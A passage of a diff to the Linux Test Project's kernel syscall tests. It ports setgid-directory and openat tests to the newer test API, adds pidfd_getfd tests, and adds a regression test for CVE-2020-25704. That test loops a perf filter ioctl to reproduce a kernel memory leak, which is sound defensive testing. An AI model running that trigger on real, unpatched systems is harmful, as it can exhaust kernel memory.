-		 * Create two files in testdir.B, one with the setgid
-		 * bit set in the creation modes and the other without.
-		 * Both should inherit the group ID of the parent
-		 * directory, group2. Either file should have the segid
-		 * bit set in the modes.
-		 */
-		/*
-		 * Create the file with setgid not set
-		 */
-		ret = open(nosetgid_B, O_CREAT | O_EXCL | O_RDWR, MODE_RWX);
-		if (ret < 0) {
-			tst_resm(TFAIL | TERRNO, "open(%s) failed", nosetgid_B);
-			local_flag = FAILED;
-		}
-		close(ret);
-
-		if (stat(nosetgid_B, &buf) < 0) {
-			tst_resm(TFAIL | TERRNO, "stat(%s) failed", nosetgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (buf.st_mode & S_ISGID) {
-			tst_resm(TFAIL,
-				 "%s: Incorrect modes, setgid bit should be set",
-				 nosetgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group (got %d and %d)",
-				 nosetgid_B, buf.st_gid, group2_gid);
-			local_flag = FAILED;
-		}
-
-		/*
-		 * Create the file with setgid set
-		 */
-		ret = open(setgid_B, O_CREAT | O_EXCL | O_RDWR, MODE_SGID);
-		if (ret < 0) {
-			tst_resm(TFAIL | TERRNO, "open(%s) failed", setgid_B);
-			local_flag = FAILED;
-		}
-		close(ret);
-
-		if (stat(setgid_B, &buf) < 0) {
-			tst_resm(TFAIL | TERRNO, "stat(%s) failed", setgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group (got %d and %d)",
-				 setgid_B, buf.st_gid, group2_gid);
-			local_flag = FAILED;
-		}
-
-		/*
-		 * Skip S_ISGID check
-		 * 0fa3ecd87848 ("Fix up non-directory creation in SGID directories")
-		 * clears S_ISGID for files created by non-group members
-		 */
-
-		if (local_flag == PASSED) {
-			tst_resm(TPASS, "Test passed in block2.");
-		} else {
-			tst_resm(TFAIL, "Test failed in block2.");
-			fail_count++;
-		}
-
-		local_flag = PASSED;
-
-		/*
-		 * Create a file in testdir.B, with the setgid bit set
-		 * in the creation modes and do so as root. The file
-		 * should inherit the group ID of the parent directory,
-		 * group2 and should have the setgid bit set.
-		 */
-
-		/* Become root again */
-		if (setreuid(-1, save_myuid) < 0) {
-			tst_resm(TFAIL | TERRNO,
-				 "Changing back to root failed");
-			local_flag = FAILED;
-		}
-
-		/* Create the file with setgid set */
-		ret = open(root_setgid_B, O_CREAT | O_EXCL | O_RDWR, MODE_SGID);
-		if (ret < 0) {
-			tst_resm(TFAIL | TERRNO, "open(%s) failed",
-				 root_setgid_B);
-			local_flag = FAILED;
-		}
-		close(ret);
-
-		if (stat(root_setgid_B, &buf) < 0) {
-			tst_resm(TFAIL | TERRNO, "stat(%s) failed",
-				 root_setgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify modes */
-		if (!(buf.st_mode & S_ISGID)) {
-			tst_resm(TFAIL,
-				 "%s: Incorrect modes, setgid bit not set",
-				 root_setgid_B);
-			local_flag = FAILED;
-		}
-
-		/* Verify group ID */
-		if (buf.st_gid != group2_gid) {
-			tst_resm(TFAIL, "%s: Incorrect group (got %d and %d)",
-				 root_setgid_B, buf.st_gid, group2_gid);
-			local_flag = FAILED;
-		}
-
-		if (local_flag == PASSED) {
-			tst_resm(TPASS, "Test passed in block3.");
-		} else {
-			tst_resm(TFAIL, "Test failed in block3.");
-			fail_count++;
-		}
-
-		/*
-		 * Clean up any files created by test before call to anyfail.
-		 * Remove the directories.
-		 */
-		if (unlink(setgid_A) < 0)
-			tst_resm(TWARN | TERRNO, "unlink(%s) failed", setgid_A);
-		if (unlink(nosetgid_A) < 0)
-			tst_resm(TWARN | TERRNO, "unlink(%s) failed",
-				 nosetgid_A);
-		if (rmdir(DIR_A) < 0)
-			tst_resm(TWARN | TERRNO, "rmdir(%s) failed", DIR_A);
-
-		if (unlink(setgid_B) < 0)
-			tst_resm(TWARN | TERRNO, "unlink(%s) failed", setgid_B);
-		if (unlink(root_setgid_B) < 0)
-			tst_resm(TWARN | TERRNO, "unlink(%s) failed",
-				 root_setgid_B);
-		if (unlink(nosetgid_B) < 0)
-			tst_resm(TWARN | TERRNO, "unlink(%s) failed",
-				 nosetgid_B);
-		if (rmdir(DIR_B) < 0)
-			tst_resm(TWARN | TERRNO, "rmdir(%s) failed", DIR_B);
-
-		if (fail_count == 0) {
-			tst_resm(TPASS, "Test passed.");
-		} else {
-			tst_resm(TFAIL,
-				 "Test failed because of above failures.");
-		}
-
-	}
-
-	cleanup();
-	tst_exit();
-}
+static char *tmpdir;
+static uid_t orig_uid, nobody_uid;
+static gid_t nobody_gid, free_gid;
+static int fd = -1;
 
 static void setup(void)
 {
-	tst_require_root();
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
-	TEST_PAUSE;
-	tst_tmpdir();
+	struct passwd *ltpuser = SAFE_GETPWNAM("nobody");
+
+	orig_uid = getuid();
+	nobody_uid = ltpuser->pw_uid;
+	nobody_gid = ltpuser->pw_gid;
+	tst_res(TINFO, "User nobody: uid = %d, gid = %d", (int)nobody_uid,
+		(int)nobody_gid);
+	free_gid = tst_get_free_gid(nobody_gid);
+	tmpdir = tst_get_tmpdir();
+}
+
+static void file_test(const char *name, mode_t mode, int sgid, gid_t gid)
+{
+	struct stat buf;
+
+	fd = SAFE_OPEN(name, O_CREAT | O_EXCL | O_RDWR, mode);
+	SAFE_CLOSE(fd);
+	SAFE_STAT(name, &buf);
+
+	if (buf.st_gid != gid) {
+		tst_res(TFAIL, "%s: Incorrect group, %u != %u", name,
+			buf.st_gid, gid);
+	} else {
+		tst_res(TPASS, "%s: Owned by correct group", name);
+	}
+
+	if (sgid < 0) {
+		tst_res(TINFO, "%s: Skipping setgid bit check", name);
+		return;
+	}
+
+	if (buf.st_mode & S_ISGID)
+		tst_res(sgid ? TPASS : TFAIL, "%s: Setgid bit is set", name);
+	else
+		tst_res(sgid ? TFAIL : TPASS, "%s: Setgid bit not set", name);
+}
+
+static void run(void)
+{
+	struct stat buf;
+
+	/* Create directories and set permissions */
+	SAFE_MKDIR(DIR_A, MODE_RWX);
+	SAFE_CHOWN(DIR_A, nobody_uid, free_gid);
+	SAFE_STAT(DIR_A, &buf);
+
+	if (buf.st_mode & S_ISGID)
+		tst_brk(TBROK, "%s: Setgid bit is set", DIR_A);
+
+	if (buf.st_gid != free_gid) {
+		tst_brk(TBROK, "%s: Incorrect group, %u != %u", DIR_A,
+			buf.st_gid, free_gid);
+	}
+
+	SAFE_MKDIR(DIR_B, MODE_RWX);
+	SAFE_CHOWN(DIR_B, nobody_uid, free_gid);
+	SAFE_CHMOD(DIR_B, MODE_SGID);
+	SAFE_STAT(DIR_B, &buf);
+
+	if (!(buf.st_mode & S_ISGID))
+		tst_brk(TBROK, "%s: Setgid bit not set", DIR_B);
+
+	if (buf.st_gid != free_gid) {
+		tst_brk(TBROK, "%s: Incorrect group, %u != %u", DIR_B,
+			buf.st_gid, free_gid);
+	}
+
+	/* Switch to user nobody and create two files in DIR_A */
+	/* Both files should inherit GID from the process */
+	SAFE_SETGID(nobody_gid);
+	SAFE_SETREUID(-1, nobody_uid);
+	file_test(NOSETGID_A, MODE_RWX, 0, nobody_gid);
+	file_test(SETGID_A, MODE_SGID, 1, nobody_gid);
+
+	/* Create two files in DIR_B and validate owner and permissions */
+	/* Both files should inherit GID from the parent directory */
+	file_test(NOSETGID_B, MODE_RWX, 0, free_gid);
+	/*
+	 * CVE 2018-13405 (privilege escalation using setgid bit) has its
+	 * own test, skip setgid check here
+	 */
+	file_test(SETGID_B, MODE_SGID, -1, free_gid);
+
+	/* Switch back to root UID and create a file in DIR_B */
+	/* The file should inherid GID from parent directory */
+	SAFE_SETREUID(-1, orig_uid);
+	file_test(ROOT_SETGID, MODE_SGID, 1, free_gid);
+
+	/* Cleanup between loops */
+	tst_purge_dir(tmpdir);
 }
 
 static void cleanup(void)
 {
-	tst_rmdir();
+	if (fd >= 0)
+		SAFE_CLOSE(fd);
+
+	free(tmpdir);
 }
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/open/open11.c b/testcases/kernel/syscalls/open/open11.c
index ded384f..3c3c11b 100644
--- a/testcases/kernel/syscalls/open/open11.c
+++ b/testcases/kernel/syscalls/open/open11.c
@@ -278,7 +278,7 @@
 static void verify_open(unsigned int n)
 {
 	if (tc[n].err > 0) {
-		TST_EXP_FAIL(open(tc[n].path, tc[n].flags, tc[n].mode),
+		TST_EXP_FAIL2(open(tc[n].path, tc[n].flags, tc[n].mode),
 		             tc[n].err, "%s", tc[n].desc);
 	} else if (tc[n].err == 0) {
 		TST_EXP_FD(open(tc[n].path, tc[n].flags, tc[n].mode),
diff --git a/testcases/kernel/syscalls/open/open12.c b/testcases/kernel/syscalls/open/open12.c
index 4702d08..bdf29a9 100644
--- a/testcases/kernel/syscalls/open/open12.c
+++ b/testcases/kernel/syscalls/open/open12.c
@@ -24,7 +24,6 @@
 #include <stdio.h>
 #include <sys/types.h>
 #include <sys/wait.h>
-#include <sys/mount.h>
 #include <unistd.h>
 #include <mntent.h>
 #include <errno.h>
diff --git a/testcases/kernel/syscalls/open/open14.c b/testcases/kernel/syscalls/open/open14.c
index 0d832cb..f78a364 100644
--- a/testcases/kernel/syscalls/open/open14.c
+++ b/testcases/kernel/syscalls/open/open14.c
@@ -22,7 +22,6 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <unistd.h>
-#include <fcntl.h>
 #include <errno.h>
 
 #include "test.h"
diff --git a/testcases/kernel/syscalls/openat/openat.h b/testcases/kernel/syscalls/openat/openat.h
index 9b5568b..45d0018 100644
--- a/testcases/kernel/syscalls/openat/openat.h
+++ b/testcases/kernel/syscalls/openat/openat.h
@@ -28,7 +28,7 @@
 #if !defined(HAVE_OPENAT)
 int openat(int dirfd, const char *pathname, int flags, mode_t mode)
 {
-	return ltp_syscall(__NR_openat, dirfd, pathname, flags, mode);
+	return tst_syscall(__NR_openat, dirfd, pathname, flags, mode);
 }
 #endif
 
diff --git a/testcases/kernel/syscalls/openat/openat01.c b/testcases/kernel/syscalls/openat/openat01.c
index 0441c3a..ad400b4 100644
--- a/testcases/kernel/syscalls/openat/openat01.c
+++ b/testcases/kernel/syscalls/openat/openat01.c
@@ -1,56 +1,45 @@
-/******************************************************************************
- *
- * Copyright (c) International Business Machines  Corp., 2006
- *  Author: Yi Yang <yyangcdl@cn.ibm.com>
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) Internstional Business Machines  Corp., 2006
+ * Author: Yi Yang <yyangcdl@cn.ibm.com>
  * Copyright (c) Cyril Hrubis 2014 <chrubis@suse.cz>
+ */
+
+/*\
+ * [Description]
  *
- * This program is free software;  you can redistribute it and/or modify
- * it under the terms of the GNU General Public License as published by
- * the Free Software Foundation; either version 2 of the License, or
- * (at your option) any later version.
+ * This test case will verify basic function of openat.
  *
- * This program is distributed in the hope that it will be useful,
- * but WITHOUT ANY WARRANTY;  without even the implied warranty of
- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
- * the GNU General Public License for more details.
+ * - pathname is relative, then it is interpreted relative to the directory
+ *   referred to by the file descriptor dirfd
  *
- * You should have received a copy of the GNU General Public License
- * along with this program;  if not, write to the Free Software Foundation,
- * Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ * - pathname is absolute, then dirfd is ignored
  *
- * DESCRIPTION
- *  This test case will verify basic function of openat
- *  added by kernel 2.6.16 or up.
+ * - ENODIR pathname is a relative pathname and dirfd is a file
+ *   descriptor referring to a file other than a directory
  *
- *****************************************************************************/
+ * - EBADF dirfd is not a valid file descriptor
+ *
+ * - pathname is relative and dirfd is the special value AT_FDCWD, then pathname
+ *   is interpreted relative to the current working directory of the calling
+ *   process
+ */
 
 #define _GNU_SOURCE
-
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <fcntl.h>
 #include <stdlib.h>
 #include <errno.h>
 #include <string.h>
-#include <signal.h>
-
-#include "test.h"
-#include "safe_macros.h"
-#include "lapi/fcntl.h"
-#include "openat.h"
-
-static void setup(void);
-static void cleanup(void);
-
-char *TCID = "openat01";
-
-static int dir_fd, fd;
-static int fd_invalid = 100;
-static int fd_atcwd = AT_FDCWD;
+#include <stdio.h>
+#include "tst_test.h"
 
 #define TEST_FILE "test_file"
 #define TEST_DIR "test_dir/"
 
+static int dir_fd, fd;
+static int fd_invalid = 100;
+static int fd_atcwd = AT_FDCWD;
 static char glob_path[256];
 
 static struct test_case {
@@ -66,80 +55,50 @@
 	{&fd_atcwd, TEST_DIR TEST_FILE, 0, 0}
 };
 
-int TST_TOTAL = ARRAY_SIZE(test_cases);
-
-static void verify_openat(struct test_case *test)
+static void verify_openat(unsigned int n)
 {
-	TEST(openat(*test->dir_fd, test->pathname, O_RDWR, 0600));
+	struct test_case *tc = &test_cases[n];
 
-	if ((test->exp_ret == -1 && TEST_RETURN != -1) ||
-	    (test->exp_ret == 0 && TEST_RETURN < 0)) {
-		tst_resm(TFAIL | TTERRNO,
-		         "openat() returned %ldl, expected %d",
-			 TEST_RETURN, test->exp_ret);
-		return;
+	if (tc->exp_ret) {
+		if (tc->exp_errno == ENOTDIR) {
+			TST_EXP_FAIL2(openat(*tc->dir_fd, tc->pathname, O_RDWR, 0600),
+				ENOTDIR, "openat with a filefd instead of dirfd");
+		} else {
+			TST_EXP_FAIL2(openat(*tc->dir_fd, tc->pathname, O_RDWR, 0600),
+				EBADF, "openat with invalid fd");
+		}
+	} else {
+		TST_EXP_FD(openat(*tc->dir_fd, tc->pathname, O_RDWR, 0600));
 	}
 
-	if (TEST_RETURN > 0)
-		SAFE_CLOSE(cleanup, TEST_RETURN);
-
-	if (TEST_ERRNO != test->exp_errno) {
-		tst_resm(TFAIL | TTERRNO,
-		         "openat() returned wrong errno, expected %s(%d)",
-			 tst_strerrno(test->exp_errno), test->exp_errno);
-		return;
-	}
-
-	tst_resm(TPASS | TTERRNO, "openat() returned %ld", TEST_RETURN);
-}
-
-int main(int ac, char **av)
-{
-	int lc;
-	int i;
-
-	tst_parse_opts(ac, av, NULL, NULL);
-
-	setup();
-
-	for (lc = 0; TEST_LOOPING(lc); lc++) {
-		tst_count = 0;
-
-		for (i = 0; i < TST_TOTAL; i++)
-			verify_openat(test_cases + i);
-	}
-
-	cleanup();
-	tst_exit();
+	if (TST_RET > 0)
+		SAFE_CLOSE(TST_RET);
 }
 
 static void setup(void)
 {
-	char *tmpdir;
+	char buf[PATH_MAX];
 
-	tst_sig(NOFORK, DEF_HANDLER, cleanup);
+	SAFE_GETCWD(buf, PATH_MAX);
+	SAFE_MKDIR(TEST_DIR, 0700);
+	dir_fd = SAFE_OPEN(TEST_DIR, O_DIRECTORY);
+	fd = SAFE_OPEN(TEST_DIR TEST_FILE, O_CREAT | O_RDWR, 0600);
 
-	tst_tmpdir();
-
-	SAFE_MKDIR(cleanup, TEST_DIR, 0700);
-	dir_fd = SAFE_OPEN(cleanup, TEST_DIR, O_DIRECTORY);
-	fd = SAFE_OPEN(cleanup, TEST_DIR TEST_FILE, O_CREAT | O_RDWR, 0600);
-
-	tmpdir = tst_get_tmpdir();
-	snprintf(glob_path, sizeof(glob_path), "%s/" TEST_DIR TEST_FILE,
-	         tmpdir);
-	free(tmpdir);
-
-	TEST_PAUSE;
+	snprintf(glob_path, sizeof(glob_path), "%s/" TEST_DIR TEST_FILE, buf);
 }
 
 static void cleanup(void)
 {
-	if (fd > 0 && close(fd))
-		tst_resm(TWARN | TERRNO, "close(fd) failed");
-
-	if (dir_fd > 0 && close(dir_fd))
-		tst_resm(TWARN | TERRNO, "close(dir_fd) failed");
-
-	tst_rmdir();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
+	if (dir_fd > 0)
+		SAFE_CLOSE(dir_fd);
 }
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test = verify_openat,
+	.tcnt = ARRAY_SIZE(test_cases),
+	.needs_tmpdir = 1,
+};
diff --git a/testcases/kernel/syscalls/openat/openat02.c b/testcases/kernel/syscalls/openat/openat02.c
index e2eefda..2ce1190 100644
--- a/testcases/kernel/syscalls/openat/openat02.c
+++ b/testcases/kernel/syscalls/openat/openat02.c
@@ -38,7 +38,6 @@
 
 #include <sys/types.h>
 #include <sys/stat.h>
-#include <fcntl.h>
 #include <unistd.h>
 #include <sys/wait.h>
 #include <stdlib.h>
diff --git a/testcases/kernel/syscalls/openat/openat03.c b/testcases/kernel/syscalls/openat/openat03.c
index 7e816f2..2846fd0 100644
--- a/testcases/kernel/syscalls/openat/openat03.c
+++ b/testcases/kernel/syscalls/openat/openat03.c
@@ -22,7 +22,6 @@
 #include <sys/types.h>
 #include <sys/stat.h>
 #include <unistd.h>
-#include <fcntl.h>
 #include <errno.h>
 
 #include "test.h"
diff --git a/testcases/kernel/syscalls/perf_event_open/.gitignore b/testcases/kernel/syscalls/perf_event_open/.gitignore
index 0576900..a1e5987 100644
--- a/testcases/kernel/syscalls/perf_event_open/.gitignore
+++ b/testcases/kernel/syscalls/perf_event_open/.gitignore
@@ -1,2 +1,3 @@
 /perf_event_open01
 /perf_event_open02
+/perf_event_open03
diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open.h b/testcases/kernel/syscalls/perf_event_open/perf_event_open.h
new file mode 100644
index 0000000..f9def1f
--- /dev/null
+++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open.h
@@ -0,0 +1,39 @@
+/* SPDX-License-Identifier: GPL-2.0-or-later */
+/*
+ * Copyright (c) 2021 SUSE LLC <mdoucha@suse.cz>
+ *
+ * Common definitions for perf_event_open tests
+ */
+
+#ifndef PERF_EVENT_OPEN_H
+#define PERF_EVENT_OPEN_H
+
+#include <linux/types.h>
+#include <linux/perf_event.h>
+#include <inttypes.h>
+
+static int perf_event_open(struct perf_event_attr *event, pid_t pid,
+	int cpu, int group_fd, unsigned long flags)
+{
+	int ret;
+
+	ret = tst_syscall(__NR_perf_event_open, event, pid, cpu,
+		group_fd, flags);
+
+	if (ret != -1)
+		return ret;
+
+	tst_res(TINFO, "%s event.type: %"PRIu32
+		", event.config: %"PRIu64, __func__, (uint32_t)event->type,
+		(uint64_t)event->config);
+	if (errno == ENOENT || errno == ENODEV) {
+		tst_brk(TCONF | TERRNO, "%s type/config not supported",
+			__func__);
+	}
+	tst_brk(TBROK | TERRNO, "%s failed", __func__);
+
+	/* unreachable */
+	return -1;
+}
+
+#endif /* PERF_EVENT_OPEN_H */
diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c
index 6286d41..30c0d75 100644
--- a/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c
+++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open01.c
@@ -1,6 +1,7 @@
 /******************************************************************************/
 /*                                                                            */
 /* Ingo Molnar <mingo@elte.hu>, 2009                                          */
+/* Copyright (c) Linux Test Project, 2014-2022                                */
 /*                                                                            */
 /* This program is free software;  you can redistribute it and/or modify      */
 /* it under the terms of the GNU General Public License as published by       */
@@ -38,9 +39,7 @@
 #include <fcntl.h>
 #include <stdint.h>
 #include "config.h"
-#if HAVE_PERF_EVENT_ATTR
-# include <linux/perf_event.h>
-#endif
+#include <linux/perf_event.h>
 
 #include "test.h"
 #include "lapi/syscalls.h"
@@ -48,7 +47,6 @@
 
 char *TCID = "perf_event_open01";
 
-#if HAVE_PERF_EVENT_ATTR
 static void setup(void);
 static void cleanup(void);
 
@@ -123,7 +121,7 @@
 {
 	int ret;
 
-	ret = ltp_syscall(__NR_perf_event_open, hw_event, pid, cpu,
+	ret = tst_syscall(__NR_perf_event_open, hw_event, pid, cpu,
 			  group_fd, flags);
 	return ret;
 }
@@ -198,13 +196,3 @@
 static void cleanup(void)
 {
 }
-
-#else
-
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "This system doesn't have "
-		 "header file:<linux/perf_event.h> or "
-		 "no struct perf_event_attr defined");
-}
-#endif
diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
index eead421..defe13c 100644
--- a/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
+++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open02.c
@@ -1,7 +1,7 @@
 // SPDX-License-Identifier: GPL-2.0-or-later
 /*
  * Copyright (c) 2009 Paul Mackerras <paulus@samba.org>
- * Copyright (c) 2019 Linux Test Project
+ * Copyright (c) 2014-2022 Linux Test Project
  */
 /*
  * Here's a little test program that checks whether software counters
@@ -29,7 +29,6 @@
 
 #define _GNU_SOURCE
 #include <errno.h>
-#include <inttypes.h>
 #include <sched.h>
 #include <signal.h>
 #include <stddef.h>
@@ -46,9 +45,7 @@
 #include "lapi/cpuset.h"
 #include "lapi/syscalls.h"
 
-#if HAVE_PERF_EVENT_ATTR
-#include <linux/types.h>
-#include <linux/perf_event.h>
+#include "perf_event_open.h"
 
 #define MAX_CTRS	1000
 
@@ -67,30 +64,6 @@
 static int volatile work_done;
 static unsigned int est_loops;
 
-static int perf_event_open(struct perf_event_attr *event, pid_t pid,
-	int cpu, int group_fd, unsigned long flags)
-{
-	int ret;
-
-	ret = tst_syscall(__NR_perf_event_open, event, pid, cpu,
-		group_fd, flags);
-
-	if (ret != -1)
-		return ret;
-
-	tst_res(TINFO, "perf_event_open event.type: %"PRIu32
-		", event.config: %"PRIu64, (uint32_t)event->type,
-		(uint64_t)event->config);
-	if (errno == ENOENT || errno == ENODEV) {
-		tst_brk(TCONF | TERRNO,
-			"perf_event_open type/config not supported");
-	}
-	tst_brk(TBROK | TERRNO, "perf_event_open failed");
-
-	/* unreachable */
-	return -1;
-}
-
 static void all_counters_set(int state)
 {
 	if (prctl(state) == -1)
@@ -356,14 +329,10 @@
 	.setup = setup,
 	.cleanup = cleanup,
 	.options = (struct tst_option[]) {
-		{"v", &verbose, "-v       verbose output"},
+		{"v", &verbose, "Verbose output"},
 		{},
 	},
 	.test_all = verify,
 	.needs_root = 1,
+	.max_runtime = 72
 };
-
-#else /* HAVE_PERF_EVENT_ATTR */
-TST_TEST_TCONF("This system doesn't have <linux/perf_event.h> or "
-	"struct perf_event_attr is not defined.");
-#endif
diff --git a/testcases/kernel/syscalls/perf_event_open/perf_event_open03.c b/testcases/kernel/syscalls/perf_event_open/perf_event_open03.c
new file mode 100644
index 0000000..7dd31d3
--- /dev/null
+++ b/testcases/kernel/syscalls/perf_event_open/perf_event_open03.c
@@ -0,0 +1,117 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2021 SUSE LLC <mdoucha@suse.cz>
+ * Copyright (c) 2022 Linux Test Project
+ *
+ * CVE-2020-25704
+ *
+ * Check for memory leak in PERF_EVENT_IOC_SET_FILTER ioctl command. Fixed in:
+ *
+ *  commit 7bdb157cdebbf95a1cd94ed2e01b338714075d00
+ *  Author: kiyin(尹亮) <kiyin@tencent.com>
+ *  Date:   Wed Nov 4 08:23:22 2020 +0300
+ *
+ *  perf/core: Fix a memory leak in perf_event_parse_addr_filter()
+ */
+
+#include "config.h"
+#include "tst_test.h"
+#include "tst_timer.h"
+#include "lapi/syscalls.h"
+
+#include "perf_event_open.h"
+
+#define INTEL_PT_PATH "/sys/bus/event_source/devices/intel_pt/type"
+
+const int iterations = 12000000;
+static int fd = -1;
+static int runtime;
+
+static void setup(void)
+{
+	struct perf_event_attr ev = {
+		.size = sizeof(struct perf_event_attr),
+		.exclude_kernel = 1,
+		.exclude_hv = 1,
+		.exclude_idle = 1
+	};
+
+	/* intel_pt is currently the only event source that supports filters */
+	if (access(INTEL_PT_PATH, F_OK))
+		tst_brk(TCONF, "intel_pt is not available");
+
+	SAFE_FILE_SCANF(INTEL_PT_PATH, "%d", &ev.type);
+	fd = perf_event_open(&ev, getpid(), -1, -1, 0);
+
+	runtime = tst_remaining_runtime();
+}
+
+/*
+ * Check how fast we can do the iterations after 5 seconds of runtime.
+ * If the rate is too small to complete for current runtime then
+ * stop the test.
+ */
+static void check_progress(int i)
+{
+	static float iter_per_ms;
+	long long elapsed_ms;
+
+	if (iter_per_ms)
+		return;
+
+	if (i % 1000 != 0)
+		return;
+
+	tst_timer_stop();
+	elapsed_ms = tst_timer_elapsed_ms();
+	if (elapsed_ms > 5000) {
+		iter_per_ms = (float) i / elapsed_ms;
+		tst_res(TINFO, "rate: %f iters/ms", iter_per_ms);
+		tst_res(TINFO, "needed rate for current test runtime: %f iters/ms",
+			(float) iterations / (runtime * 1000));
+
+		if (iter_per_ms * 1000 * (runtime - 1) < iterations)
+			tst_brk(TCONF, "System too slow to complete test in specified runtime");
+	}
+}
+
+static void run(void)
+{
+	long diff;
+	int i;
+
+	diff = SAFE_READ_MEMINFO("MemAvailable:");
+	tst_timer_start(CLOCK_MONOTONIC);
+
+	/* leak about 100MB of RAM */
+	for (i = 0; i < iterations; i++) {
+		ioctl(fd, PERF_EVENT_IOC_SET_FILTER, "filter,0/0@abcd");
+		check_progress(i);
+	}
+
+	diff -= SAFE_READ_MEMINFO("MemAvailable:");
+
+	if (diff > 50 * 1024)
+		tst_res(TFAIL, "Likely kernel memory leak detected");
+	else
+		tst_res(TPASS, "No memory leak found");
+}
+
+static void cleanup(void)
+{
+	if (fd >= 0)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.test_all = run,
+	.setup = setup,
+	.cleanup = cleanup,
+	.needs_root = 1,
+	.max_runtime = 300,
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "7bdb157cdebb"},
+		{"CVE", "2020-25704"},
+		{}
+	}
+};
diff --git a/testcases/kernel/syscalls/pidfd_getfd/.gitignore b/testcases/kernel/syscalls/pidfd_getfd/.gitignore
new file mode 100644
index 0000000..8ef9042
--- /dev/null
+++ b/testcases/kernel/syscalls/pidfd_getfd/.gitignore
@@ -0,0 +1,2 @@
+/pidfd_getfd01
+/pidfd_getfd02
diff --git a/testcases/kernel/syscalls/pidfd_getfd/Makefile b/testcases/kernel/syscalls/pidfd_getfd/Makefile
new file mode 100644
index 0000000..5ea7d67
--- /dev/null
+++ b/testcases/kernel/syscalls/pidfd_getfd/Makefile
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd01.c b/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd01.c
new file mode 100644
index 0000000..50def03
--- /dev/null
+++ b/testcases/kernel/syscalls/pidfd_getfd/pidfd_getfd01.c
@@ -0,0 +1,101 @@
+// SPDX-License-Identifier: GPL-2.0-or-later
+/*
+ * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved.
+ * Author: Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Basic pidfd_getfd() test:
+ *
+ * - the close-on-exec flag is set on the file descriptor returned by
+ *   pidfd_getfd
+ * - use kcmp to check whether a file descriptor idx1 in the process pid1
+ *   refers to the same open file description as file descriptor idx2 in
+ *   the process pid2
+ */
+
+#include <unistd.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include "tst_test.h"
+#include "lapi/kcmp.h"
+#include "tst_safe_macros.h"
+#include "lapi/pidfd.h"
+
+#define TESTFILE "testfile"
+
+static int fds[2] = {-1, -1};
+static int pidfd = -1;
+
+static void do_child(void)
+{
+	int fd;
+
+	SAFE_CLOSE(fds[0]);
+	fd = SAFE_CREAT(TESTFILE, 0644);
+	SAFE_WRITE(1, fds[1], &fd, sizeof(fd));
+	TST_CHECKPOINT_WAIT(0);
+	SAFE_CLOSE(fd);
+	SAFE_CLOSE(fds[1]);
+	exit(0);
+}
+
+static void run(void)
+{
+	int flag, pid, targetfd, remotefd;
+
+	SAFE_PIPE(fds);
+	pid = SAFE_FORK();
+	if (!pid)
+		do_child();
+
+	SAFE_CLOSE(fds[1]);
+	TST_PROCESS_STATE_WAIT(pid, 'S', 0);
+
+	pidfd = SAFE_PIDFD_OPEN(pid, 0);
+	SAFE_READ(1, fds[0], &targetfd, sizeof(targetfd));
+	TST_EXP_FD_SILENT(pidfd_getfd(pidfd, targetfd, 0),
+		"pidfd_getfd(%d, %d , 0)", pidfd, targetfd);
+
+	remotefd = TST_RET;
+	flag = SAFE_FCNTL(remotefd, F_GETFD);
+	if (!(flag & FD_CLOEXEC))
+		tst_res(TFAIL, "pidfd_getfd() didn't set close-on-exec flag");
+
+	TST_EXP_VAL_SILENT(kcmp(getpid(), pid, KCMP_FILE, remotefd, targetfd), 0);
+
+	tst_res(TPASS, "pidfd_getfd(%d, %d, 0) passed", pidfd, targetfd);
+
+	TST_CHECKPOINT_WAKE(0);
+	SAFE_CLOSE(remotefd);
+	SAFE_CLOSE(pidfd);
+	SAFE_CLOSE(fds[0]);
+	tst_reap_children();
+}
+
+static void setup(void)
+{
+	pidfd_open_supported();
+	pidfd_getfd_supported();
+}
+
+static void cleanup(void)
+{
+	if (fds[0] > -1)
+		SAFE_CLOSE(fds[0]);
+	if (fds[1] > -1)
+		SAFE_CLOSE(fds[1]);
+	if (pidfd > -1)
+		SAFE_CLOSE(pidfd);
+}
+
+static struct tst_test test = {
+	.needs_root = 1,
+	.needs_checkpoints = 1,
+	.forks_child = 1,
+	.setup = setup,
